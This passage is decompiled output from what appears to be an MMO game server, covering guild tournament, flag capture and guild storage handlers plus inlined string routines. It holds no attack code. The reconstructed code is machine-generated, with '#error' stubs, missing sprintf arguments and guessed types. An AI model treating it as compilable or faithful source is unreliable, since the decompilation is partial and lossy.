&_PerformanceRecorder, "WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD"); } //----- (00464E00) -------------------------------------------------------- #error "464E00: undefined or illegal type '#593' (funcsize=104)" //----- (00464F90) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournamentJoinNew(void *this, int pReq) { void *v2; // esi@1 signed __int16 result; // ax@2 int v4; // eax@3 int v5; // edi@3 unsigned int v6; // edx@3 char *v7; // edi@5 int v8; // eax@5 int v9; // edi@5 int v10; // ebp@5 int v11; // eax@5 int v12; // eax@5 InventoryLocking::InventoryCellLock *v13; // eax@5 ZoneBaseSession *v14; // eax@7 InventoryLocking::ReservedQuantity reserv; // [sp+4h] [bp-18h]@3 v2 = this; if ( (*(int (**)(void))(*(_DWORD *)this + 2072))() ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(int, InventoryLocking::ReservedQuantity *))(*(_DWORD *)v4 + 92))(v4, &reserv); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1072))(v2); if ( reserv.cen + __PAIR__(v6, v5) >= *(_QWORD *)(pReq + 17) ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29925; *((_WORD *)v7 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); *((_WORD *)v7 + 4) = AxialListNearGateFind::alngf_Gethandle(v8); *((_WORD *)v7 + 5) = *(_WORD *)pReq; *((_DWORD *)v7 + 3) = *(_DWORD *)(pReq + 2); *((_DWORD *)v7 + 4) = *(_DWORD *)(pReq + 6); *((_DWORD *)v7 + 5) = *(_DWORD *)(pReq + 10); v7[24] = *(_BYTE *)(pReq + 14); *(_WORD *)(v7 + 25) = *(_WORD *)(pReq + 15); *(_DWORD *)(v7 + 27) = *(_DWORD *)(pReq + 17); *(_DWORD *)(v7 + 31) = *(_DWORD *)(pReq + 21); v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); v10 = *(_DWORD *)v9; v11 = (*(int (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v2 + 2004))( v2, *(_DWORD *)(pReq + 17), *(_DWORD *)(pReq + 21), -1); LOWORD(v12) = AxialListNearGateFind::alngf_Gethandle(v11); (*(void (__thiscall **)(int, int))(v10 + 64))(v9, v12); v13 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); InventoryLocking::InventoryCellLock::icl_IncIndex(v13); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 35) ) { v14 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v14); result = 7232; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildTournamentJoinNew : Packet Too Long", 35); result = 7232; } } else { result = 7236; } } else { result = 7234; } return result; } //----- (00465100) -------------------------------------------------------- #error "465100: undefined or illegal type '#593' (funcsize=135)" //----- (004652E0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD"); } //----- (00465330) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ(int netcmd, int len, __int16 handle) { char v3; // dl@1 char *v4; // eax@1 v3 = *(_BYTE *)(netcmd + 2); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29913; v4[2] = v3; JUMPOUT(*(int *)sub_465345); } // 465330: inconsistent function type and number of purged bytes //----- (00465345) -------------------------------------------------------- void __userpurge sub_465345(int a1, int a2, int a3, int a4, int a5) { ZoneBaseSession *v5; // eax@3 *(_WORD *)(a1 + 3) = *(_WORD *)(a2 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ : Packet Too Long", 5); } } //----- (00465390) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_OUT_REQ(int this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // ecx@2 v4 = this; if ( !ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(this) ) { v5 = *(_DWORD *)(v4 + 98); if ( v5 ) { if ( FieldMap::fm_IsGuildTournametnMap(v5) ) ShineObjectClass::ShinePlayer::sp_2Roumen((void *)v4); } } } //----- (004653C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFree(void *this) { int v1; // esi@1 v1 = (int)this; if ( *((_WORD *)this + 11839) != -1 ) { *((_WORD *)this + 11839) = -1; *((_DWORD *)this + 35793) = 0; *((_DWORD *)this + 35794) = CGambleObject::GDTSO_GetGameStatus; *((_DWORD *)this + 35797) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)this + 35796) = 0; (*(void (__stdcall **)(_DWORD, _DWORD))(*(_DWORD *)this + 772))(8, 72); ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD(v1, 6993); } } //----- (00465420) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFreeCheck(int this, __int16 hFlag) { if ( *(_WORD *)(this + 23678) == hFlag ) ShineObjectClass::ShinePlayer::sp_FlagCaptureFree((void *)this); } //----- (00465440) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_ACK(void *this, __int16 nType) { ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL(this, nType, 65535); } //----- (00465460) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_GuildTournamantStart(WorldManagerSession *this, PROTO_NC_GUILD_TOURNAMENT_START_CMD *gt_start) { int v2; // eax@1 const char *v3; // esi@2 int v4; // ecx@8 char *v5; // eax@8 int v6; // ecx@8 int v7; // edx@8 int v8; // eax@8 int v9; // ecx@8 unsigned int v10; // edx@8 int v11; // edi@9 int v12; // eax@11 int v13; // eax@12 char *v14; // eax@12 int v15; // ecx@12 int v16; // edx@12 unsigned int v17; // edx@12 int v18; // ecx@12 unsigned int v19; // eax@12 int v20; // edx@12 char *v21; // eax@12 int v22; // edx@12 int v23; // edi@12 Movie::CinemaComplex *v24; // ecx@12 char *v25; // eax@12 ZoneBaseSession *v26; // eax@14 ZoneBaseSession *v27; // eax@17 unsigned int v28; // eax@19 ShineObjectEachList *v29; // edi@23 unsigned __int16 v30; // si@23 unsigned __int16 v31; // dx@24 ListStruct *v32; // ecx@25 int v33; // eax@25 bool v34; // cf@25 int v35; // eax@26 int v36; // eax@27 int v37; // [sp-4h] [bp-6FCh]@16 int nc; // [sp+Ch] [bp-6ECh]@7 char *nca; // [sp+Ch] [bp-6ECh]@12 ListIteratorDefault arg; // [sp+10h] [bp-6E8h]@7 FieldContainer *v41; // [sp+14h] [bp-6E4h]@7 void **v42; // [sp+18h] [bp-6E0h]@7 char *v43; // [sp+1Ch] [bp-6DCh]@7 int v44; // [sp+20h] [bp-6D8h]@7 __int16 v45; // [sp+24h] [bp-6D4h]@7 FunctionEntarance _; // [sp+28h] [bp-6D0h]@1 ListTraveler lt; // [sp+2Ch] [bp-6CCh]@25 PineScriptToken initval; // [sp+38h] [bp-6C0h]@12 char v49; // [sp+138h] [bp-5C0h]@7 char buffer[1024]; // [sp+2E0h] [bp-418h]@12 unsigned int v51; // [sp+6E4h] [bp-14h]@1 int v52; // [sp+6F4h] [bp-4h]@1 int v53; // [sp+6F8h] [bp+0h]@1 v51 = (unsigned int)&v53 ^ __security_cookie; _.fe_FunctionCode = "WorldManagerSession::wms_GuildTournamantStart"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_GuildTournamantStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_GuildTournamantStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_BYTE *)>Map + 13 * gt_start->nTournamentMapNo); v52 = 0; if ( v2 < fieldlist.fc_GuildTournamentMap.number ) v3 = (const char *)fieldlist.fc_GuildTournamentMap.attr[v2]; else v3 = 0; if ( v3 != 0 ) { FieldMap::FieldMap(&v49, &byte_D1D8F29[13 * gt_start->nTournamentSeed]); arg.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; v41 = &fieldlist; v42 = &FieldMap::fm_Compare; v43 = &v49; v44 = 0; v45 = -1; LOBYTE(v52) = 2; List::l_4AllInList((List *)&fieldlist, &arg); LOBYTE(v52) = 1; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; nc = v44; if ( v44 ) { v11 = v44 + 248; if ( *(_BYTE *)(v44 + 248) != 255 ) { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_GuildTournamantStart : seed not empty. May be RE-Match.", 1); *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * *(_BYTE *)v11) = -1; *(&guildtournamentinfo.gta_MatchStartTime + 9 * *(_BYTE *)v11) = 0; *(_BYTE *)v11 = -1; if ( FieldMap::fm_GetGuildTournamentSystem((void *)nc) ) { v12 = FieldMap::fm_GetGuildTournamentSystem((void *)nc); GuildTournamentSystem::Clear((GuildTournamentSystem *)v12); } } *(_BYTE *)v11 = gt_start->nTournamentSeed; *(_DWORD *)(nc + 256) = 0; *(_DWORD *)(nc + 252) = 0; v13 = 36 * gt_start->nTournamentSeed + 220039848; *((_DWORD *)&guildtournamentinfo.gta_Struct.nTournamentSeed + 9 * gt_start->nTournamentSeed) = *(_DWORD *)>_start->nTournamentSeed; *(_DWORD *)(v13 + 4) = *(_DWORD *)((char *)>_start->nExploerTimeMin + 1); *(_DWORD *)(v13 + 8) = *(_DWORD *)((char *)>_start->nPlayTimeMin + 1); *(_DWORD *)(v13 + 12) = *(unsigned int *)((char *)>_start->nNo1 + 3); *(_BYTE *)(v13 + 16) = BYTE3(gt_start->nNo2); v14 = &byte_D1D8F29[13 * gt_start->nTournamentSeed]; v15 = 9 * gt_start->nTournamentSeed; *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[36 * gt_start->nTournamentSeed] = *(_DWORD *)v14; v16 = *((_DWORD *)v14 + 1); *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[4 * v15 + 8] = *((_DWORD *)v14 + 2); *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[4 * v15 + 4] = v16; *(&guildtournamentinfo.gta_MatchStartTime + 9 * gt_start->nTournamentSeed) = clockwatch.cw_CurrTick; v17 = namestring.ns_point.mask; *(&guildtournamentinfo.gta_Result2WMS + 36 * gt_start->nTournamentSeed) = 0; v18 = 36 * gt_start->nTournamentSeed + 220039865; v19 = v17 & (namestring.ns_point.value + 1); v20 = *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[36 * gt_start->nTournamentSeed]; namestring.ns_point.value = v19; v21 = (char *)&namestring + 256 * v19; *(_DWORD *)v21 = v20; v22 = *(_DWORD *)(v18 + 4); *((_DWORD *)v21 + 2) = *(_DWORD *)(v18 + 8); *((_DWORD *)v21 + 1) = v22; v21[12] = 0; sprintf( buffer, "%s %d %d %d %d %d %d %d %d %s %d %d %d %s %d %d %d %s %d %d %d %d %d %d %s %d %d %d %s %d %d %d %s %d %d %d"); memset(buffer, 0, sizeof(buffer)); sprintf(buffer, "%d %d %d %d"); v23 = nc; FieldMap::fm_ClearObject((void *)nc, 0x3B0u); Movie::CinemaComplex::cc_DropFilm(*(Movie::CinemaComplex **)(v23 + 68), "Guild/GuildTournament", (#1265 *)v23); MapBlock::MapDoorArray::mda_CloseAllDoor( (MapBlock::MapDoorArray *)(*(_DWORD *)(v23 + 20) + 1072), *(MapBlock::MapBlockInformation **)(v23 + 20)); PineScriptToken::PineScriptToken(&initval, buffer); v24 = *(Movie::CinemaComplex **)(nc + 68); LOBYTE(v52) = 3; Movie::CinemaComplex::cc_PlayFilm(v24, "Guild/GuildTournament", &initval, (Name3 *)nc); v25 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29894; v25[2] = gt_start->nTournamentSeed; *(_DWORD *)(v25 + 3) = gt_start->nNo1; nca = v25; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v26 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v26); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::wms_GuildTournamantStart : Packet Too Long", 7); } *(_DWORD *)(nca + 3) = gt_start->nNo2; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v27 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v27); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::wms_GuildTournamantStart : Packet Too Long", 7); } FieldMap::fm_CreateGuildTournamentSystem( v23, gt_start->nNo1, gt_start->nNo2, *((_BYTE *)>Map + 13 * gt_start->nTournamentSeed), v37); LOBYTE(v52) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initval); } else { v4 = 36 * gt_start->nTournamentSeed + 220039848; *((_DWORD *)&guildtournamentinfo.gta_Struct.nTournamentSeed + 9 * gt_start->nTournamentSeed) = *(_DWORD *)>_start->nTournamentSeed; *(_DWORD *)(v4 + 4) = *(_DWORD *)((char *)>_start->nExploerTimeMin + 1); *(_DWORD *)(v4 + 8) = *(_DWORD *)((char *)>_start->nPlayTimeMin + 1); *(_DWORD *)(v4 + 12) = *(unsigned int *)((char *)>_start->nNo1 + 3); *(_BYTE *)(v4 + 16) = BYTE3(gt_start->nNo2); v5 = &byte_D1D8F29[13 * gt_start->nTournamentSeed]; v6 = 9 * gt_start->nTournamentSeed; *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[36 * gt_start->nTournamentSeed] = *(_DWORD *)v5; v7 = *((_DWORD *)v5 + 1); v8 = *((_DWORD *)v5 + 2); v9 = 4 * v6 + 220039865; *(_DWORD *)(v9 + 4) = v7; v10 = clockwatch.cw_CurrTick; *(_DWORD *)(v9 + 8) = v8; *(&guildtournamentinfo.gta_MatchStartTime + 9 * gt_start->nTournamentSeed) = v10; *(&guildtournamentinfo.gta_Result2WMS + 36 * gt_start->nTournamentSeed) = 0; } LOBYTE(v52) = 0; FieldMap::_FieldMap((int)&v49); v28 = BTree::operator__(&mapdatabox.mdb_btree, v3); if ( v28 == -1 ) LOWORD(v28) = -1; v28 = (unsigned __int16)v28; if ( (unsigned __int16)v28 < mapdatabox.mdb_maxmapid && mapdatabox.mdb_index[v28] ) { v29 = shineobjmanager.som_ListContainer[2]; v30 = shineobjmanager.som_ListContainer[2]->baseclass_0.l_Array[shineobjmanager.som_ListContainer[2]->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v31 = v29->baseclass_0.l_MaxSize; if ( v30 >= v31 ) break; v32 = v29->baseclass_0.l_Array; v33 = v30; lt.lt_CurrElement = v30; v34 = v30 < v31; v30 = v32[v30].ls_Next; if ( v34 && (v35 = (int)&v32[v33], *(_BYTE *)(v35 + 8)) ) v36 = *(_DWORD *)v35; else v36 = 0; (*(void (__thiscall **)(int, PROTO_NC_GUILD_TOURNAMENT_START_CMD *, _DWORD))(*(_DWORD *)v36 + 2344))( v36, gt_start, gt_start->nTournamentSeed); } } } else { AssertClass::ac_AssertFail(&shineassert, "const FieldOption::GuildTournamentMapStr *gtms NULL", 0); } --funcallanalizer.fca_stackpoint; v52 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_GuildTournamantStart"); } // 446B90: using guessed type void *FieldMap__fm_Compare; // 456F60: using guessed type int __thiscall FieldMap__fm_CreateGuildTournamentSystem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 4571C0: using guessed type int __thiscall FieldMap__FieldMap(_DWORD, _DWORD); // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // D1D8F28: using guessed type struct __unnamed *GTMap; //----- (00465A70) -------------------------------------------------------- int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildStorageDeactivate(int a1, unsigned __int16 *a2) { int v2; // esi@1 int v3; // eax@4 unsigned int v4; // eax@4 GuildStorage::GuildStorageElement *v5; // ebp@4 __int16 v6; // di@5 int v7; // eax@5 int result; // eax@9 ListIteratorDefault arg; // [sp+8h] [bp-18h]@5 int v10; // [sp+Ch] [bp-14h]@5 int v11; // [sp+10h] [bp-10h]@5 unsigned int v12; // [sp+14h] [bp-Ch]@5 signed int v13; // [sp+20h] [bp+0h]@5 v2 = a1; if ( (*(int (**)(void))(*(_DWORD *)a1 + 2072))() && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2096))(v2) && *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2096))(v2) != -1 ) { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2096))(v2); v4 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 2072))(v2, v3); v5 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v4, a2); if ( v5 ) { v6 = *(_WORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2096))(v2); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2072))(v2); arg.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildStorageDeactive::_vftable_; v10 = v7; LOWORD(v11) = v6; v12 = 0; v13 = 0; List::l_4AllInList((List *)shineobjmanager.som_ListContainer[2], &arg); if ( v12 <= 1 ) GuildStorage::GuildStorageElement::gse_Deactivate(v5); v13 = -1; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2100))(v2); } result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2096))(v2); if ( result ) { result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2096))(v2); if ( *(_WORD *)result != -1 ) result = (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v2 + 2100))(v2, 65535); } return result; } // 465A70: could not find valid save-restore pair for ebp // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 642D24: using guessed type int (__stdcall *ShineGuildStorageDeactive___vftable_)(int, __int16 handle); //----- (00465BA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStoreFill(void *sp, PROTO_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK *inven) { void *v2; // esi@1 unsigned __int16 *v3; // ST08_4@1 unsigned int v4; // eax@1 GuildStorage::GuildStorageElement *v5; // eax@1 int v6; // edx@4 GuildStorage::GuildStorageElement *v7; // edi@4 v2 = sp; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildStoreFill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildStoreFill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2096))(v2); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2072))(v2); v5 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v4, v3); if ( v5 ) { GuildStorage::GuildStorageElement::gse_StoreItem(v5, inven, (#734 *)v2); } else { if ( gldstoramanager.baseclass_0.l_Finger.empty != -1 && (v6 = gldstoramanager.baseclass_0.l_Finger.empty, *((_WORD *)v2 + 34242) = gldstoramanager.baseclass_0.l_Finger.empty, (v7 = gldstoramanager.baseclass_0.vfptr->l_AllocZ( (List *)&gldstoramanager, v6)) != 0) ) { v7->gse_Guild = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2072))(v2); GuildStorage::GuildStorageElement::gse_SetActivate(v7); GuildStorage::GuildStorageElement::gse_StoreItem(v7, inven, (#734 *)v2); } else { ShineObjectClass::ShinePlayer::sp_GuildStorageError(v2, 4673); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildStoreFill"); } //----- (00465CD0) -------------------------------------------------------- #error "465CD0: undefined or illegal type '#1265' (funcsize=71)" //----- (00465E00) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { NETCOMMAND *v3; // edi@1 GuildStorage::GuildStorageElement *v4; // eax@1 GuildStorage::GuildStorageElement *v5; // esi@1 unsigned int v6; // ebx@6 unsigned int v7; // edi@6 unsigned __int64 v8; // qax@6 unsigned __int64 v9; // [sp-8h] [bp-24h]@4 char *v10; // [sp-4h] [bp-20h]@9 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd; v4 = GuildStorage::GuildStorageManager::gsm_FindStorage( &gldstoramanager, *(_DWORD *)&netcmd[1].protocol, (unsigned __int16 *)&netcmd); v5 = v4; if ( v4 && v4->gse_Guild == *(_DWORD *)&v3[1].protocol ) { if ( GuildStorage::GuildStorageElement::gse_GetToken(v4) >= *(_QWORD *)&v3[3].protocol ) v9 = GuildStorage::GuildStorageElement::gse_GetToken(v5) - *(_QWORD *)&v3[3].protocol; else v9 = 0i64; GuildStorage::GuildStorageElement::gse_SetToken(v5, v9); v6 = *(_DWORD *)&v3[7].protocol; v7 = *(_DWORD *)&v3[9].protocol; v8 = GuildStorage::GuildStorageElement::gse_GetToken(v5); if ( (_DWORD)v8 != v6 || HIDWORD(v8) != v7 ) GuildStorage::GuildStorageElement::gse_SetToken(v5, __PAIR__(v7, v6)); v10 = "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"; } else { v10 = "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); } //----- (00465F10) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count) { std::basic_string,std::allocator > *v4; // ebx@1 unsigned int v5; // esi@3 unsigned int v6; // ebp@8 unsigned int v7; // eax@10 bool v8; // cf@11 bool v9; // zf@11 char *v10; // edi@14 std::basic_string,std::allocator > *result; // eax@17 int v12; // edx@20 int v13; // eax@21 v4 = this; if ( _Right->_Mysize < _Roff ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v5 = _Count; if ( _Right->_Mysize - _Roff < _Count ) v5 = _Right->_Mysize - _Roff; if ( -1 - this->_Mysize <= v5 ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); if ( !v5 ) return v4; v6 = v5 + this->_Mysize; if ( v6 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v7 = this->_Myres; if ( v7 < v6 ) { std::basic_string_std::allocator>::_Copy(this, v6, this->_Mysize); v8 = 0; v9 = v6 == 0; goto LABEL_12; } v8 = 0; v9 = v6 == 0; if ( v6 ) { LABEL_12: if ( !(v8 | v9) ) { if ( _Right->_Myres < 0x10 ) v10 = (char *)&_Right->_Bx; else v10 = *(char **)&_Right->_Bx._Buf[0]; v12 = (int)&v4->_Bx; if ( v4->_Myres < 0x10 ) v13 = (int)&v4->_Bx; else v13 = *(_DWORD *)v12; memcpy((void *)(v13 + v4->_Mysize), &v10[_Roff], v5); v8 = v4->_Myres < 0x10; v4->_Mysize = v6; if ( !v8 ) v12 = *(_DWORD *)v12; *(_BYTE *)(v12 + v6) = 0; } return v4; } this->_Mysize = 0; if ( v7 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } //----- (00466000) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // edi@1 PROTO_NC_GUILD_TOURNAMENT_START_CMD *v4; // esi@1 int v5; // ecx@1 char v6; // dl@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (PROTO_NC_GUILD_TOURNAMENT_START_CMD *)&netcmd[1]; v5 = LOBYTE(netcmd[1].protocol); if ( LOBYTE(netcmd[1].protocol) <= 0x20u ) { v6 = *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * v5); if ( v6 != -1 ) { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD : Seed not empty. May be RE-Match.", v6 == -1); *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * v4->nTournamentSeed) = -1; } *(unsigned __int16 *)((char *)&netcmd[1].protocol + 1) = *((_BYTE *)>Map + 13 * LOBYTE(netcmd[1].protocol)); WorldManagerSession::wms_GuildTournamantStart(v3, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD : Invalid seed", v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD"); } // D1D8F28: using guessed type struct __unnamed *GTMap; //----- (00466110) -------------------------------------------------------- #error "466110: undefined or illegal type '#593' (funcsize=45)" //----- (00466190) -------------------------------------------------------- #error "466190: undefined or illegal type '#593' (funcsize=31)" //----- (004661F0) -------------------------------------------------------- #error "4661F0: undefined or illegal type '#593' (funcsize=33)" //----- (00466260) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Count) { std::basic_string,std::allocator > *v3; // ebx@1 unsigned int v4; // edx@1 char *v5; // eax@2 char *v6; // eax@5 char *v7; // ecx@6 std::basic_string,std::allocator > *result; // eax@11 unsigned int v9; // ebp@15 unsigned int v10; // eax@17 bool v11; // cf@18 bool v12; // zf@18 int v13; // eax@21 v3 = this; v4 = this->_Myres; if ( v4 < 0x10 ) v5 = (char *)&this->_Bx; else v5 = *(char **)&this->_Bx._Buf[0]; if ( _Ptr < v5 || ((v6 = (char *)&this->_Bx, v4 < 0x10) ? (v7 = (char *)&this->_Bx) : (v7 = *(char **)v6), &v7[v3->_Mysize] <= _Ptr) ) { if ( -1 - v3->_Mysize <= _Count ) std::_String_base::_Xlen(&v3->baseclass_0.___u0.baseclass_0); if ( _Count ) { v9 = _Count + v3->_Mysize; if ( v9 > 0xFFFFFFFE ) std::_String_base::_Xlen(&v3->baseclass_0.___u0.baseclass_0); v10 = v3->_Myres; if ( v10 >= v9 ) { v11 = 0; v12 = v9 == 0; if ( !v9 ) { v3->_Mysize = 0; if ( v10 < 0x10 ) { v3->_Bx._Buf[0] = 0; result = v3; } else { **(_BYTE **)&v3->_Bx._Buf[0] = 0; result = v3; } return result; } } else { std::basic_string_std::allocator>::_Copy(v3, v9, v3->_Mysize); v11 = 0; v12 = v9 == 0; } if ( !(v11 | v12) ) { if ( v3->_Myres < 0x10 ) v13 = (int)&v3->_Bx; else v13 = *(_DWORD 